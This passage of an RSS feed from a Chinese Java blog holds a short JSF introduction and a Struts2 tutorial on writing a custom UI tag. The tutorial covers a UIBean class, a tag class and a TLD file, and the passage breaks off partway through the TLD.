﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-壹咪阳光</title><link>http://www.blogjava.net/ywj-316/</link><description /><language>zh-cn</language><lastBuildDate>Wed, 29 Apr 2026 16:51:35 GMT</lastBuildDate><pubDate>Wed, 29 Apr 2026 16:51:35 GMT</pubDate><ttl>60</ttl><item><title>JSF入门</title><link>http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 May 2011 13:48:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/351363.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/351363.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/351363.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: JSF学习笔记  &nbsp;  JSF事件驱动型的MVC框架,与流行的struts比较学习，易于理解。jsf component event事件是指从浏览器由用户操作触发的事件，Struts application event 是用Action来接受浏览器表单提交的事件，一个表单只能对应一个事件，application event和component event相比是一种粗粒度的事件。优点：事件...&nbsp;&nbsp;<a href='http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html'>阅读全文</a><img src ="http://www.blogjava.net/ywj-316/aggbug/351363.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2011-05-30 21:48 <a href="http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Struts2 自定义标签的方法</title><link>http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 May 2011 13:43:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/351362.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/351362.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/351362.html</trackback:ping><description><![CDATA[<div><span style="font-family: MS Shell Dlg;">Struts2 的UITag原理：</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">Struts2 UITag分三部份组成，一部份用于定义Tag的内容与逻辑的UIBean，一部份用于定义JSP  Tag，也就是平时我们定义的那种，最后就是Template，它存放在你的theme目录之下，是一个FreeMarker模板文件。</span><span style="font-family: MS Shell Dlg;"><br /><br /></span><span style="font-family: MS Shell Dlg;">我现在辑写一份MMTag，它主要是用于输出带链接的文字，比如像这样：</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">&lt;cur:mm message="'I am a boy.'" /&gt;</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">就会输出：</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">&lt;a  href="http://www.blogjava.net/natlive"&gt;I am boy.&lt;/a&gt;</span><span style="font-family: MS Shell Dlg;"><br /><br /></span><span style="font-family: MS Shell Dlg;">我们先写UIBean部份：我们把它定义为MM，它继承于 org.apache.struts2.components.UIBean：</span><span style="font-family: MS Shell Dlg;"><br /></span> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">package</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;limitstudy.corestruts2.tag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.components.UI</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">Bean;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.views.annotations.StrutsTag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.views.annotations.StrutsTagAttribute;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;com.opensymphony.xwork2.util.ValueStack;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletRequest;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletResponse;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">@StrutsTag(name="mm",&nbsp;tldTagClass="limitstudy.corestruts2.tag.MMTag",&nbsp;description="MM")</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">class</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MM&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">extends</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;UIBean&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">private</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;String&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MM(ValueStack&nbsp;stack,&nbsp;HttpServletRequest&nbsp;request,&nbsp;HttpServletResponse&nbsp;response)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">super</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">(stack,&nbsp;request,&nbsp;response);</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">protected</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;String&nbsp;getDefaultTemplate()&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">return</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;"mm";</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@StrutsTagAttribute(description="set&nbsp;message",&nbsp;type="String")</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;setMessage(String&nbsp;message)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">this</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.message&nbsp;=&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">protected</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;evaluateExtraParams()&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">super</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.evaluateExtraParams();</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">if</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;(</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">null</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;!=&nbsp;message)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;addParameter("message",&nbsp;findString(message));</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">* strutsTag</span><span style="font-family: MS Shell Dlg; color: #000000;">注解指明了该UIBean的名字 和Tag类的类名。</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">* </span><span style="font-family: MS Shell Dlg; color: #000000;">getDefaultTemplate()方法用于返回模板的名 字，Struts2会自动在后面加入.ftl扩展名以找到特定的模板文件。</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">*  setXXX，设置UIBean的属性，一般Tag中有几个这样的属性，这里就有几个。</span><span style="font-family: MS Shell Dlg; color: #000000;">@StrutsTagAttribute(description="set&nbsp;message",&nbsp;type="String") 注解，说明该属性是字符串（也可以是其它），这一步很重要。</span><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">* 覆写</span><span style="font-family: MS Shell Dlg; color: #000000;">evaluateExtraParams（） 方法，在UIBean初始化后会调用这个方法来初始化设定参数，如addParameter方法，会在freemarker里的parameters里加 入一个key  value。这里要注意findString，还有相关的findxxxx方法，它们是已经封装好了的解释ognl语法的工具，具体是怎么样的，大家可以 查看一下UIBean的api doc。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">然后是Tag部份：</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">package</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;limitstudy.corestruts2.tag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.views.jsp.ui.Ab</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">stractUITag;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;org.apache.struts2.components.Component;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;com.opensymphony.xwork2.util.ValueStack;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletRequest;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">import</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;javax.servlet.http.HttpServletResponse;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">class</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MMTag&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">extends</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;AbstractUITag&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">private</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;String&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;Component&nbsp;getBean(ValueStack&nbsp;stack,&nbsp;HttpServletRequest&nbsp;request,&nbsp;HttpServletResponse&nbsp;response)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">return</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">new</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;MM(stack,&nbsp;request,&nbsp;response);</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;@Override</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">protected</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;populateParams()&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">super</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.populateParams();</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MM&nbsp;mm&nbsp;=&nbsp;(MM)component;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mm.setMessage(message);</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">public</span>&nbsp;<span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">void</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;setMessage(String&nbsp;message)&nbsp;{</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">this</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">.message&nbsp;=&nbsp;message;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">}</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #ffffff;"><span style="font-family: MS Shell Dlg;"><br /></span><span style="font-family: MS Shell Dlg;">* </span><span style="font-family: MS Shell Dlg; color: #000000;">getBean（）返回该Tag中的UIBean。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">*  populateParams()初始化参数，一般用来初始化UIBean(Component)。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">*  setXXXX设置属性，和jsp tag是一样的。</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-family: MS Shell Dlg; color: #000000;">在/WEB-INF/tlds/下建立current.tld文件（文名随你喜欢）：</span><span style="font-family: MS Shell Dlg; color: #000000;"><br /></span></p> <p style="text-align: left; line-height: 200%; background: none repeat scroll 0% 0% #eeeeee;"><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;?</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff00ff;">xml&nbsp;version="1.0"&nbsp;encoding="UTF-8"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">?&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">taglib&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">xmlns</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://java.sun.com/xml/ns/j2ee"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">&nbsp;xmlns:xsi</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://www.w3.org/2001/XMLSchema-instance"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">&nbsp;version</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="2.0"</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #ff0000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xsi:schemaLocation</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">="http://java.sun.com/xml/ns/j2ee&nbsp;http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">description</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">test</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">description</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tlib-version</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">2.0</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tlib-version</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">short-name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">cur</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">short-name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">uri</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">/cur</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">uri</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">mm</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;/</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">name</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&gt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;"><br /></span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #0000ff;">&lt;</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: #800000;">tag-class</span><span style="font-size: 10pt; font-family: MS Shell Dlg; color: 